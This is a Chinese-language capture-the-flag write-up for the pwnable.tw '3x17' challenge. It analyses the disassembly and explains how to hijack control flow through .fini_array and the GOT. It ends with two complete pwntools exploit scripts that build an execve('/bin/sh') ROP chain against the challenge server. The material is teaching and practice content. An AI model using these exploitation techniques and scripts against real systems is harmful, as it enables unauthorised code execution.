pwnable.tw_3x17

半年没碰pwnable了,一位朋友让我看的这个题
分值不高,也挺简单
不过踩了两个坑(方案二三)觉得比较有意思,记录一下

Analyze:

静态编译,便于分析,添加sig:

python lscan.py  -f  ./3x17 -S ./amd64/sig/
#不过这题没什么用

题目保护:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found#静态编译,存在canary保护,只是没有检测到
    NX:       NX enabled
    PIE:      No PIE (0x400000)

程序:

  int result; // eax
  int v4; // eax
  char *v5; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++read_flag;
  if ( read_flag == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    stroll((__int64)&buf);
    v5 = (char *)v4;
    write(1u, "data:", 5uLL);
    read(0, v5, 0x18uLL);
    result = 0;
  }
  return result;

对应汇编:

.text:0000000000401B6D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401B6D main            proc near               ; DATA XREF: start+1D↑o
.text:0000000000401B6D
.text:0000000000401B6D var_28          = qword ptr -28h
.text:0000000000401B6D buf             = byte ptr -20h
.text:0000000000401B6D var_8           = qword ptr -8
.text:0000000000401B6D
.text:0000000000401B6D ; __unwind {
.text:0000000000401B6D                 push    rbp
.text:0000000000401B6E                 mov     rbp, rsp
.text:0000000000401B71                 sub     rsp, 30h
.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E                 mov     [rbp+var_8], rax
.text:0000000000401B82                 xor     eax, eax
.text:0000000000401B84                 movzx   eax, cs:read_flag
.text:0000000000401B8B                 add     eax, 1
.text:0000000000401B8E                 mov     cs:read_flag, al
.text:0000000000401B94                 movzx   eax, cs:read_flag
.text:0000000000401B9B                 cmp     al, 1
.text:0000000000401B9D                 jnz     loc_401C35
.text:0000000000401BA3                 mov     [rbp+var_28], 0
.text:0000000000401BAB                 mov     edx, 5          ; count
.text:0000000000401BB0                 lea     rsi, buf        ; "addr:"
.text:0000000000401BB7                 mov     edi, 1          ; fd
.text:0000000000401BBC                 mov     eax, 0
.text:0000000000401BC1                 call    write
.text:0000000000401BC6                 lea     rax, [rbp+buf]
.text:0000000000401BCA                 mov     edx, 18h        ; count
.text:0000000000401BCF                 mov     rsi, rax        ; buf
.text:0000000000401BD2                 mov     edi, 0          ; fd
.text:0000000000401BD7                 mov     eax, 0
.text:0000000000401BDC                 call    read
.text:0000000000401BE1                 lea     rax, [rbp+buf]
.text:0000000000401BE5                 mov     rdi, rax
.text:0000000000401BE8                 mov     eax, 0
.text:0000000000401BED                 call    stroll
.text:0000000000401BF2                 cdqe
.text:0000000000401BF4                 mov     [rbp+var_28], rax
.text:0000000000401BF8                 mov     edx, 5          ; count
.text:0000000000401BFD                 lea     rsi, aData      ; "data:"
.text:0000000000401C04                 mov     edi, 1          ; fd
.text:0000000000401C09                 mov     eax, 0
.text:0000000000401C0E                 call    write
.text:0000000000401C13                 mov     rax, [rbp+var_28]
.text:0000000000401C17                 mov     edx, 18h        ; count
.text:0000000000401C1C                 mov     rsi, rax        ; buf
.text:0000000000401C1F                 mov     edi, 0          ; fd
.text:0000000000401C24                 mov     eax, 0
.text:0000000000401C29                 call    read
.text:0000000000401C2E                 mov     eax, 0
.text:0000000000401C33                 jmp     short loc_401C37
.text:0000000000401C35 ; ---------------------------------------------------------------------------
.text:0000000000401C35
.text:0000000000401C35 loc_401C35:                             ; CODE XREF: main+30↑j
.text:0000000000401C35                 nop
.text:0000000000401C36                 nop
.text:0000000000401C37
.text:0000000000401C37 loc_401C37:                             ; CODE XREF: main+C6↑j
.text:0000000000401C37                 mov     rcx, [rbp+var_8]
.text:0000000000401C3B                 xor     rcx, fs:28h
.text:0000000000401C44                 jz      short locret_401C4B
.text:0000000000401C46                 call    ___stack_chk_fail
.text:0000000000401C4B ; ---------------------------------------------------------------------------
.text:0000000000401C4B
.text:0000000000401C4B locret_401C4B:                          ; CODE XREF: main+D7↑j
.text:0000000000401C4B                 leave
.text:0000000000401C4C                 retn
.text:0000000000401C4C ; } // starts at 401B6D
.text:0000000000401C4C main            endp

可以看到:

程序静态编译,没有地址随机化,且为任意地址写
.bss段的read_flag记录此函数调用次数,只有read_flag归零时才可再次写
搜索"exit 0"(system function)、"/bin/sh"、"LINUX - sys_execv"(ida自动注释)......都没有结果
所以应该不存在后门,需要自己构造ROP
或者调用mprotect等方法更改内存权限执行shellcode(下下策)

首先跟踪整个程序流找到可以控制程序流的地方:

.text:0000000000402960 sub_402960      proc near               ; DATA XREF: start+F↑o
.text:0000000000402960 ; __unwind {
.text:0000000000402960                 push    rbp
.text:0000000000402961                 lea     rax, unk_4B4100
.text:0000000000402968                 lea     rbp, off_4B40F0
.text:000000000040296F                 push    rbx
.text:0000000000402970                 sub     rax, rbp
.text:0000000000402973                 sub     rsp, 8
.text:0000000000402977                 sar     rax, 3
.text:000000000040297B                 jz      short loc_402996
.text:000000000040297D                 lea     rbx, [rax-1]
.text:0000000000402981                 nop     dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988
.text:0000000000402996
.text:0000000000402996 loc_402996:                             ; CODE XREF: sub_402960+1B↑j
.text:0000000000402996                 add     rsp, 8
.text:000000000040299A                 pop     rbx
.text:000000000040299B                 pop     rbp
.text:000000000040299C                 jmp     sub_48E32C
.text:000000000040299C ; } // starts at 402960

其实还有一个地方:

.text:000000000040F7FF                 mov     rdx, [rax+18h]
.text:000000000040F803                 mov     qword ptr [rax+10h], 0
.text:000000000040F80B                 mov     esi, ebp
.text:000000000040F80D                 ror     rdx, 11h
.text:000000000040F811                 xor     rdx, fs:30h
.text:000000000040F81A                 mov     rdi, [rax+20h]
.text:000000000040F81E                 call    rdx

这里rax=0x4b98e0,也可以写rax+0x18位置,不过存在xor rdx, fs:30h,无法预知fs:30h,所以此处不行
IP在0x402988时:

RBX  0x1
RBP  0x4b40f0->.fini_array

所以只要覆盖.fini_array即可劫持程序流

方案一

首先可以确定:

.text:0000000000401B84                 movzx   eax, cs:read_flag
.text:0000000000401B8B                 add     eax, 1
.text:0000000000401B8E                 mov     cs:read_flag, al
.text:0000000000401B94                 movzx   eax, cs:read_flag
.text:0000000000401B9B                 cmp     al, 1

可以想方法通过一个循环来使read_flag字节0x100循环自动归零(0xFF+1->0):

我们将0x4b40f0位置覆盖为0x401b6d(main function addr)
继续跟踪流,当函数返回时,rbx依然为1:
.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
.text:000000000040298C                 sub     rbx, 1      #rbx=0
.text:0000000000402990                 cmp     rbx, 0FFFFFFFFFFFFFFFFh
.text:0000000000402994                 jnz     short loc_402988  #跳转
------->
.text:0000000000402988 loc_402988:                             ; CODE XREF: sub_402960+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0]
#即调用0x4b40f0处的函数地址
因此可以将0x4b40f0重新覆盖为sub_402960
形成sub_402960和main function之间的循环来不断写地址

可以无限次写入后,便可以布置rop chain
而后只需要中断循环并迁移栈段即可:
将0x4b40f0覆盖为0x401c4b:

.text:0000000000401C4B                 leave
.text:0000000000401C4C                 retn

此时:

rbp=0x4b40f0,rbx=0
call    qword ptr [rbp+rbx*8+0] #0x401c4b
->leave  #rbp=0x401c4b,rsp=0x4b40f8
->ret    #rip=*0x4b40f8=0x401b6d,rsp=0x4b4100
->push    rbp# *0x4b40f8=rbp=0x401c4b,rsp=0x4b40f8
->mov     rbp, rsp# rbp=0x4b40f8
......
......
->leave #rbp=0x401c4b,rsp=0x4b4100
->ret   #return 2 ropchain

方案二

同样是循环main function来无限写
不过循环地方不同:
可以构造.fini_array:

0x4b40f0->0x4b40f0
0x4b40f8->0x401b71#sub rsp,0x30......

这里主要是先进行栈段迁移,再利用不进行push rbp操作造成栈段退出leave ret时rbp依然保持我们构造的fake_rbp,从而造成循环
不过这个方案不可行,当循环进可写时,注意到此时:

RBP  0x4b40f0
RSP  0x4b40c8
栈帧长度并不是0x30,而是0x28->因为我们构造循环时没有进行"push rbp  mov rbp,rsp",而是直接sub rsp,0x30

但是注意到main function中:

.text:0000000000401BE1                 lea     rax, [rbp+buf]
.text:0000000000401BE5                 mov     rdi, rax
.text:0000000000401BE8                 mov     eax, 0
.text:0000000000401BED                 call    stroll
.text:0000000000401BF2                 cdqe
.text:0000000000401BF4                 mov     [rbp+var_28], rax
.text:0000000000401BF8                 mov     edx, 5          ; count
.text:0000000000401BFD                 lea     rsi, aData      ; "data:"
.text:0000000000401C04                 mov     edi, 1          ; fd
.text:0000000000401C09                 mov     eax, 0
.text:0000000000401C0E                 call    write
.text:0000000000401C13                 mov     rax, [rbp+var_28]
.text:0000000000401C17                 mov     edx, 18h        ; count
.text:0000000000401C1C                 mov     rsi, rax        ; buf
.text:0000000000401C1F                 mov     edi, 0          ; fd
.text:0000000000401C24                 mov     eax, 0
.text:0000000000401C29                 call    read

我们任意地址读的地址是在保存在rbp+var_28中,其间调用了一次write,因而会将返回地址覆盖到rbp+var_28处,从而导致后面操作失败,因此本方案需要main function的栈帧提高8 bytes(sub rsp,0x38)

方案三

首先考虑的一个方案
可以让返回地址为(.fini_array):

.text:0000000000401BA3                 mov     [rbp+var_28], 0

此时已进行完read_flag位的检测,不过要想办法绕过canary:
跟踪___stack_chk_fail程序流就可以发现有几处通过.plt表实现调用:

例如:
.text:000000000041337F                 call    sub_4010C0
and
.text:00000000004132F9                 call    sub_401058

所以第一次劫持程序流后可以修改对应got表中的数据实现永久劫持(只需要永远不绕过canary)
这样直接可以无限次地址写
不过这样便无法迁移栈段,而且:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x401000 r--p     1000 0      /home/regedit/pwnable/3x17
          0x401000           0x48f000 r-xp    8e000 1000   /home/regedit/pwnable/3x17
          0x48f000           0x4b3000 r--p    24000 8f000  /home/regedit/pwnable/3x17
          0x4b4000           0x4ba000 rw-p     6000 b3000  /home/regedit/pwnable/3x17
          0x4ba000           0x4bb000 rw-p     1000 0      
         0x1841000          0x1864000 rw-p    23000 0      [heap]
    0x7fff7995a000     0x7fff7997c000 rw-p    22000 0      [stack]
    0x7fff799d5000     0x7fff799d8000 r--p     3000 0      [vvar]
    0x7fff799d8000     0x7fff799da000 r-xp     2000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

可写的地方没有执行权限,所以也只是任意地址写,无法再次将程序流劫持到别的地方(不知道栈地址,没办法改rsp/rbp/返回地址)
不过实际上可以考虑先迁移栈段再劫持___stack_chk_fail,但是不能用方案一二的方法迁移(因为还会导向方案二的错误):
首先canary为了防止leak,低字节总为\x00
可以利用这个特点

注意到:

.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E                 mov     [rbp+var_8], rax

所以可以首先劫持程序流到0x401b75(利用.fini_array):
覆盖:

0x4b40f0->0x4B9338
0x4b40f8->0x401b75

此时:

leave->
rbp=0x4b9338
rsp=0x4b40f8
ret->
rip=*rsp=0x401b75

而后:

.text:0000000000401B75                 mov     rax, fs:28h
.text:0000000000401B7E                 mov     [rbp+var_8], rax
->*rbp-0x8=*0x4b9330=canary
&(byte *)read_flag=0x4b9330
read_flag即为\x00

此时迁移了栈段,然后此时read_flag=0,即可获得一次写机会(写got表),注意此时read_flag++,canary就会改变,从而造成___stack_chk_fail,成功劫持程序流并控制了栈段,但是方案依旧不可行,因为栈向低处增长,所以当第二次写的时候因为___stack_chk_fail过程中栈顶(rsp)不断减小的关系,会到达0x4b4000处,此时会有一个push操作,而addr<0x4b4000不具有可写权限,会导致程序崩溃
不过可以考虑先用___stack_chk_fail布置栈空间,再利用方案一迁移栈段即可

方案四

这是后来我看到pernicious师傅的方案:

set dtors to [do_dtors, main] so control flow is: do_dtors -> call [1] main, call [0] do_dtors -> ... and now we have infinitely many writes
corrupt _IO_list_all by overwriting stderr and creating a chain of two fake file structs:
  - first has write_base/write_end set up such that on flushing, it will write out a stack pointer from the data section (this means the vtable entries are legit functions)
  - second simply calls main
set dtors to [do_dtors, _IO_flush_all_lockp] so control flow is: do_dtors -> { call [1] _IO_flush_all_lockp -> main }, call [2] do_dtors -> ... so we still have infinitely many writes (and get the stack leak on the first iteration)
reset dtors to [do_dtors, main]
realize the address to write to is a sign-extended 4 byte int........ so can't just write to the stack.....
overwrite stderr again, with write_base/write_end pointing to the stack, and have it call _IO_file_read instead of _IO_file_write so it reads onto the stack rather than writing
set dtors to [_IO_flush_all_lockp] which triggers the read onto the stack, send a ropchain

最终EXP为方案一&&方案三:

EXP:

方案一:

from pwn import *

#context.log_level="debug"
#p=process("3x17")
p=remote("chall.pwnable.tw",10105)

#_fini_array
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x402960)+p64(0x401b6d))

#rop_chain
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
p.sendlineafter("addr:",str(0x4b4100))
p.sendafter("data:",p64(pop_rdi))
p.sendlineafter("addr:",str(0x4b4108))
p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
p.sendlineafter("addr:",str(0x4b4120))
p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
p.sendlineafter("addr:",str(0x4b4138))
p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")

#get_shell
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x401c4b))
p.interactive()

方案三:

from pwn import *

context.log_level="debug"
#p=process("3x17")
p=remote("chall.pwnable.tw",10105)
#_fini_array
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x402960)+p64(0x401ba3))

#overwrite .plt
p.sendlineafter("addr:",str(0x4b70c0))
p.sendafter("data:",p64(0x401ba3))

#rop_chain
pop_rdi=0x401696
pop_rax=0x41e4af
pop_rdx_rsi=0x44a309
bin_sh_addr=0x4b4140
pop_rsp_ret=0x0402ba9
p.sendlineafter("addr:",str(0x4b40f0))
p.sendafter("data:",p64(0x4b40f8)+p64(0x401c4b))
p.sendlineafter("addr:",str(0x4b4100))
p.sendafter("data:",p64(pop_rdi))
p.sendlineafter("addr:",str(0x4b4108))
p.sendafter("data:",p64(bin_sh_addr)+p64(pop_rax)+p64(0x3b))
p.sendlineafter("addr:",str(0x4b4120))
p.sendafter("data:",p64(pop_rdx_rsi)+p64(0)+p64(0))
p.sendlineafter("addr:",str(0x4b4138))
p.sendafter("data:",p64(0x446e2c)+"/bin/sh\x00")

#get shell
p.sendafter("addr:",str(0x4b70c0))
p.sendlineafter("data:",p64(0x402960))
p.interactive()

推荐阅读更多精彩内容

  • 0. 引言 如果你学的第一门程序语言是C语言,那么下面这段程序很可能是你写出来的第一个有完整的 “输入---处理-...
    pandolia阅读 9,764评论 13 25
  • 本文首发于我的博客 Bomb Lab 实验代码见GitHub 简介 BombLab是CS:APP中对应第三章内容:...
    viseator阅读 7,098评论 0 11
  • 由于不是科班出生,又是自学开发,对很多方面的知识都是只知其然而不知其所以然。加上最近公司事情不多,刚好乘此机会把长...
    寒咯阅读 4,509评论 1 5
  • 接下来将通过下面几个问题解析函数调用中对堆栈理解: (1)函数调用过程中堆栈在内存中存放的结构如何? (2)汇编语...
    C语言编程阅读 915评论 0 10
  • 约见老朋友xiong,她开车女儿一起过来的,请吃饭-寿司,晚上去深圳湾公园,地点在蛇口,一条河之隔,也就是香港和...
    AK47_10年坚持阅读 20评论 0 0